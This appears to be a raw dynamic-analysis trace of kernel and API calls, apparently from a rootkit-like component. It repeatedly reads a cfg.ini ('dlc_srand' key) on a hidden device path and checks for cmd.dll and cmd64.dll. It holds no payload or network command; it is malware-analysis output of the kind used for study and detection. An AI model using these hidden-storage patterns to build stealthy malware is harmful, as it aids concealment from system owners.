[0127.455] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.455] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.455] IdePortDispatch () returned 0x103 [0127.455] KeWaitForMutexObject () returned 0x0 [0127.455] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.455] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.455] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.455] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.455] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.455] IdePortDispatch () returned 0x103 [0127.456] KeWaitForMutexObject () returned 0x0 [0127.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.456] KeLeaveCriticalRegion () [0127.456] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.456] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.456] KeEnterCriticalRegion () [0127.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.456] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.457] KeLeaveCriticalRegion () [0127.457] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.457] KeEnterCriticalRegion () [0127.457] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.457] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.457] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e17b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.457] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.457] KeLeaveCriticalRegion () [0127.457] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.457] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.457] KeEnterCriticalRegion () [0127.457] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.457] ExFreePoolWithTag (P=0xfffffa800c4f78b0, Tag=0x0) [0127.457] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.457] KeLeaveCriticalRegion () [0127.457] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.457] ReleaseMutex (hMutex=0xf0) returned 1 [0127.457] Sleep (dwMilliseconds=0x124f80) [0127.475] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.475] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.475] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.475] KeEnterCriticalRegion () [0127.475] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.475] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.475] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.475] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.475] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.476] IdePortDispatch () returned 0x103 [0127.477] KeWaitForMutexObject () returned 0x0 [0127.477] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.477] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.477] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.477] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.477] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.477] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e19a0 [0127.477] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.477] KeLeaveCriticalRegion () [0127.477] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.477] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.477] KeEnterCriticalRegion () [0127.477] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.477] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.477] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.477] KeLeaveCriticalRegion () [0127.477] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.477] KeEnterCriticalRegion () [0127.477] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.477] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.477] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.477] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.477] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.477] IdePortDispatch () returned 0x103 [0127.478] KeWaitForMutexObject () returned 0x0 [0127.478] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.478] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.478] KeLeaveCriticalRegion () [0127.478] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.478] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.478] KeEnterCriticalRegion () [0127.478] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.478] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ca000 [0127.478] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.478] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.478] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.478] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.478] IdePortDispatch () returned 0x103 [0127.478] KeWaitForMutexObject () returned 0x0 [0127.478] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.478] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.478] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.478] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.478] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.478] IdePortDispatch () returned 0x103 [0127.479] KeWaitForMutexObject () returned 0x0 [0127.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.479] KeLeaveCriticalRegion () [0127.479] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.479] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.479] KeEnterCriticalRegion () [0127.479] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.480] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.480] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.480] KeLeaveCriticalRegion () [0127.480] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.480] KeEnterCriticalRegion () [0127.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.480] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.480] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1a60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.480] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.480] KeLeaveCriticalRegion () [0127.480] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.480] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.480] KeEnterCriticalRegion () [0127.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.480] ExFreePoolWithTag (P=0xfffffa80037e19a0, Tag=0x0) [0127.480] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.480] KeLeaveCriticalRegion () [0127.480] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.480] ReleaseMutex (hMutex=0xf0) returned 1 [0127.480] Sleep (dwMilliseconds=0x124f80) [0127.491] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.494] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.495] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.495] KeEnterCriticalRegion () [0127.495] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.495] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.495] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.495] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.495] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.495] IdePortDispatch () returned 0x103 [0127.495] KeWaitForMutexObject () returned 0x0 [0127.495] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.495] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.495] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.495] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.495] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.495] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7490 [0127.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.495] KeLeaveCriticalRegion () [0127.495] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.495] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.495] KeEnterCriticalRegion () [0127.495] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.495] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.495] KeLeaveCriticalRegion () [0127.495] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.496] KeEnterCriticalRegion () [0127.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.496] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.496] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.496] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.496] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.496] IdePortDispatch () returned 0x103 [0127.496] KeWaitForMutexObject () returned 0x0 [0127.496] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.496] KeLeaveCriticalRegion () [0127.496] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.496] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.496] KeEnterCriticalRegion () [0127.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.496] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b15000 [0127.496] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.496] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.496] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.496] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.496] IdePortDispatch () returned 0x103 [0127.496] KeWaitForMutexObject () returned 0x0 [0127.497] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.497] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.497] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.497] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.497] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.497] IdePortDispatch () returned 0x103 [0127.497] KeWaitForMutexObject () returned 0x0 [0127.497] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.497] KeLeaveCriticalRegion () [0127.497] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.498] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.498] KeEnterCriticalRegion () [0127.498] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.498] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.498] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.498] KeLeaveCriticalRegion () [0127.498] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.498] KeEnterCriticalRegion () [0127.498] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.498] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.498] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfbc90, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.498] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.498] KeLeaveCriticalRegion () [0127.498] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.498] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.498] KeEnterCriticalRegion () [0127.498] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.498] ExFreePoolWithTag (P=0xfffffa800c4f7490, Tag=0x0) [0127.498] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.498] KeLeaveCriticalRegion () [0127.498] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.498] ReleaseMutex (hMutex=0xf0) returned 1 [0127.498] Sleep (dwMilliseconds=0x124f80) [0127.509] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.509] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.509] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.509] KeEnterCriticalRegion () [0127.509] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.509] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.509] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.509] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.509] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.509] IdePortDispatch () returned 0x103 [0127.510] KeWaitForMutexObject () returned 0x0 [0127.510] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.510] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.510] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.510] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.510] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.510] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e19a0 [0127.510] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.510] KeLeaveCriticalRegion () [0127.510] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.510] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.510] KeEnterCriticalRegion () [0127.510] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.510] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.510] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.510] KeLeaveCriticalRegion () [0127.510] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.510] KeEnterCriticalRegion () [0127.510] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.510] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.510] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.510] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.510] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.510] IdePortDispatch () returned 0x103 [0127.511] KeWaitForMutexObject () returned 0x0 [0127.511] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.511] KeLeaveCriticalRegion () [0127.511] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.511] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.511] KeEnterCriticalRegion () [0127.511] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.511] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b18000 [0127.511] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.511] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.511] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.511] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.511] IdePortDispatch () returned 0x103 [0127.511] KeWaitForMutexObject () returned 0x0 [0127.511] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.511] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.511] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.512] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.512] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.512] IdePortDispatch () returned 0x103 [0127.512] KeWaitForMutexObject () returned 0x0 [0127.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.512] KeLeaveCriticalRegion () [0127.512] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.513] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.513] KeEnterCriticalRegion () [0127.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.513] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.513] KeLeaveCriticalRegion () [0127.513] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.513] KeEnterCriticalRegion () [0127.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.513] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.513] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfb070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.513] KeLeaveCriticalRegion () [0127.513] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.513] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.513] KeEnterCriticalRegion () [0127.513] 